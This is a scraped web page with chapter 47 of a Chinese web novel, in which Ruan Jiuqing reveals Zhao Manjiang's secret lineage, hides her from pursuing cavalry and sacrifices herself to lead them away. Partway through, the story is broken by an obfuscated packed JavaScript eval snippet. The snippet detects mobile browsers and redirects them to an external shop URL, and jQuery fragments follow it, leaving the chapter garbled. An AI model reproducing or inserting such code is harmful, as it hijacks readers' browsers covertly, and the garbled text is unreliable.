47.梦醒

作品:《一株蛮姜

    到马车前,阮久青一把把赵蛮姜塞进车里,狠狠抽了马一鞭子。


    马儿吃痛快步跑了起来,阮久青看了眼四周,随即也钻进了马车。


    “阿姜,现在我跟你说的,无论你听到什么,你都要冷静。”阮久青虽让赵蛮姜冷静,自己却满脸的泪痕,神色里是掩不住的慌张。


    “嗯嗯嗯,阮姐姐你说!”赵蛮姜压着嗓子应声道。


    只见阮久青咬破自己的大拇指,用鲜血在额前竖着划出一道红痕,再将带血的拇指放在胸前,然后在她跟前屈膝跪下,叩拜在地。


    “阮姐姐你做什么?”赵蛮姜不可置信地看着眼前的阮久青,赶紧去扶。


    “这是南凉人祭祀神女的赎罪礼,也是最高规格的拜君礼,阿姜,我是南凉人。”阮久青跪伏在地上,声音被颠簸的马车震得不太连贯,但却字字铿锵。


    “我……我猜到了,但是你跪我做什么……快起来。”赵蛮姜慌得没太能集中精力思考,事态紧急,见阮久青不起来,她不放心地起身掀起马车帘看了一眼身后。


    “因为你是主君的女儿,是南凉的少君,月知雏。”阮久青直起身子,却依然跪在地上。


    赵蛮姜闻言,后退两步,直接跌坐在马车里。她张着口,说不出来一句话。


    阮久青的眼泪淌了下来,满脸悲壮:“十几年前的那场大火之后,南凉生还者寥寥无几。我在那场灾祸中侥幸获救,又因着师父,在秋叶棠偷得一段安稳人生。定是神女保佑,让我还能遇到少君……”


    “我……我是……”赵蛮姜喃喃的出声。


    “我知道你现在有很多疑问,我尽量把我现在知道的都告诉你。”阮久青伸手去扶赵蛮姜,她语速很快,但字字清晰:“但是如今事态发展远远超出了我的预料。我前不久不小心听到,易长决他们不知为何把你当做镜国的前朝公主,所以把你养在了秋叶棠。易长决和卫旻他们……都是庄国人,似乎是想等时机成熟了,就带你回庄国。”


    “什么?”赵蛮姜被这一连串的惊雷炸得猝不及防。


    她只觉得脑袋嗡嗡地,一个个信息在她脑子里爆炸开来,顺带着连同曾经在秋叶棠生活的所有美好记忆一起,嘭嘭地碎裂开来。


    阮久青扶住她,接着说,“秋叶棠这次出事,肯定是他们哪里的事情败露了,或者出了别的什么岔子,以至于你这个镜国的前朝公主身份被坐实。这次易长决他们从庄国回来之后,应当就该带你过去了。我得知了这件事之后,就让年祺帮我去送一封信,收信的人叫高亦,也是南凉人。他收到信后,应当会找人来接应我们。”


    “南凉被烧后,存活下来的为数不多的族人,有些被相继迫害了,有些隐姓埋名,还有一些,就被高亦集结起来,筹备为族人复仇。我原本是高亦救回来的,但是我的能力有限,也不想过被仇恨覆盖的一生,所以选了与他们不同的那条路。本以为是苟且求生,却阴差阳错让我在秋叶棠……遇到了你。”


    “你怎么知道我是……南凉……”赵蛮姜坐直了身子,看着她问。


    阮久青看向她的眼睛,轻轻擦了擦她脸上的泪,缓声说,“你或许不记得了……但是我不会忘,你小时候,我是见过你的。你初到秋叶棠时,我只以为是太像了……直到易长决拿出你脖子上带着的黑色小球纹样,我才确认是你。因为上面的纹样,是南凉主君专用的。因而我断定,你就是少君。”


    “那……”赵蛮姜抬头望着阮久青,像是被卡住了嗓子,说不出完整的话。


    “阿姜——”阮久青看着发抖的赵蛮姜,轻轻地握紧了她的手。


    赵蛮姜此刻宛如一只木偶,脸色煞白,麻木地看着阮久青,口不择言地低喃:“原来……所有人都瞒着我,都骗我……都是假的……你也只是因着一个少君的身份……”


    阮久青看着她的神情,心钝钝地疼。她一把抱住了她,“阿姜!我没有骗你,你是月知雏,是南凉少君,但是你也是赵蛮姜啊。我本想着这些都过去了,只要不想着报仇,这些也不必再提。我也就同卫旻成亲留在秋叶棠,守着你过一段平凡安稳的人生。可是如今……命运弄人,但你是我的阿姜,是我最疼爱的阿姜啊!我怎么舍得骗你,我告诉你这些,是……”


    阮久青剩下的话被咽回肚子,因为现在不说,她怕再也没有机会告诉她真相了。


    赵蛮姜赤红着一双眼,一把扣住阮久青的手,宛如抓住了最后一根救命稻草。


    “对,我是赵蛮姜!”


    她很快冷静下来,撑着车壁站起来,扶了一把阮久青让她站稳,然后掀开马车门帘看了一眼前方:“我们不能往书院方向去,他们寻不到我会去书院方向,容易被发现,也会连累孙先生。”


    “往东走,我去那边采过药,我知道有一条路。”阮久青说着回到车前,狠拽了一把缰绳,改变了方向。


    而不多时,马儿似乎受了什么惊吓开始飞奔起来,马车颠簸得越发严重。阮久青忙朝车后看了一眼,一队骑兵隐约可见,尾随在后,相隔已经不那么远了。


    来的好快!


    “追上来了!”阮久青的语气明显是慌了。“你说对了,他们果然就是顺着你上学的路来寻的!”


    “我来!”赵蛮姜一把拉过缰绳,狠狠地抽了一下马匹,马儿吃痛,撒腿更快地跑了起来。


    然而马车是跑不过骑兵的,一旦被发现,被追上是迟早的事。


    得想个别的法子!


    阮久青神色张皇地按住赵蛮姜的手,“阿姜——你现在听我说,刚刚我所说的一切你且先放在一边,现在,不管发生什么,我要你活下去。”


    赵蛮姜强装着镇定,又往身后看了一眼,咬着牙道:“我们会活下去的。”


    而就在此时,阮久青反手扣住了她的手腕,然后伸手探向她的后颈一个位置。


    顿时,赵蛮姜只觉后颈一阵刺痛,然后身子一麻,瞬间脱力。


    “阮姐姐,你要做什么?”赵蛮姜心里腾升起的不安已经压抑不住,她有了一个不好的猜想。


    “阿姜,现在冷静些,不要做傻事,千万千万要活下来!”阮久青一边说着,一边解下身上氅衣,“前面有个急转弯处,那里多灌木陡坡,视野会被遮挡。下面正好有个凹洞,我采药时在那里避过雨。”


    阮久青说着,用氅衣把赵蛮姜裹紧,手脚都捆缚住。


    赵蛮姜想挣扎却使不出一点力气,眼泪漫进鬓发,她慌乱地请求:“阮姐姐,你放开我好不好,我跟你一起下去!我同阿澜练了几年剑术的,我可以保护你的,你相信我,好不好……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738189|181745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “就这么一次机会,等会我就把你塞进去,到时候等药劲过去了,你得想办法把氅衣解开,再跑去一个安全的地方。我们阿姜这么聪明,定是有办法的。”阮久青像没听到她的话似的,自顾自继续道,语速又快又急。


    赵蛮姜不住地摇头,一边呜咽一边挣扎,“不要不要,阮姐姐你不要丢下我……”


    “你放心,我只是引开他们。万一不幸被抓住了,我一个不相干的人,他们未必会难为我,是吧?”阮久青强撑着笑了笑,又把赵蛮姜身上捆缚的氅衣紧了紧,“你不要乱动,也不要来寻我,等我安全了,就去同你汇合。”


    “不,不……阮姐姐,不要……你刚不是叫我少君吗,你不是该听我命令么,我命令你放开我!”赵蛮姜很慌,她觉得整个大脑似乎都停止了思考,死死瞪着着阮久青,眼神里已经带上了狠厉。


    “快到了!”阮久青似乎是完全没注意到她的变化,她扭头看了一眼后方,然后一手扶着车门站稳,一手轻轻抱了抱她,“阿姜,千万要保护好自己。”


    她终于也忍不住,眼泪串珠般地下落。


    “不可以,我不要!”赵蛮姜整张脸像是被眼泪洗过,声音从慌乱转向绝望。


    眼看着马车要拐进弯道,阮久卿看着赵蛮姜,轻声说:


    “阿姜,一定一定要活下去!如果你还有机会见他们,记得,帮我同卫旻说一声,是我对他不住,利用了他。”说着惨然一笑,“好在,这婚还没有成。”


    说完,她扯着缰绳急停了马车,快速抱起赵蛮姜下去,径直塞进那个陡坡下的凹洞。


    “阮姐姐……求求你……不要……”


    阮久青把食指放在她唇上:“嘘,阿姜,你要安静,不能前功尽弃。”


    说完,她最后看了一眼赵蛮姜的脸,眼神在她身上眷恋地停滞片刻,表情决绝又凄美。


    一如今日那绝美残阳。


    她的眼泪随风吹起,滴到了赵蛮姜的身上。


    而赵蛮姜还来不及说什么,就被阮久青用一丛灌木挡住了全部视线。


    她只听到阮久青上去窸窣响动的声音,低喝抽马鞭的声音,和马车车辙在上方碾过的声音。


    阮久青离开了。


    赵蛮姜躺在山坡下边,只觉得有什么压抑住了胸口,又堵住了喉头,让她无法正常呼吸。


    她张着嘴,发不出一点声音。


    很快,她听那队骑兵踏着凌乱的脚步从上方经过。那一声声马蹄似乎都踏在了她的心口,一下一下,钻心地疼。


    她脑海里凌乱地跑过刚刚阮久青告诉她的所有事,才恍然了悟,原来秋叶棠,就是易长决他们给她编织的一个美好的琉璃梦境,一个长达近四年的梦。


    只怪梦太长又太美好,如今一朝梦醒,才如若被剜去血肉,骨血分离一般疼痛。


    她甚至以为是自己幸运,易长决养着她,阮久青疼爱她,秋叶棠的每个人都予她太多温情,所有人都似乎那么不计代价、不求回报地对她好。


    因而赵蛮姜一度以为,这就是家了。


    可原来,世上本就不存在什么没有理由的爱恨,和没有理由的付出。


    赵蛮姜的眼里的恨意腾升而起,所有被压抑的恶念都汩汩冒出来——


    都是假的。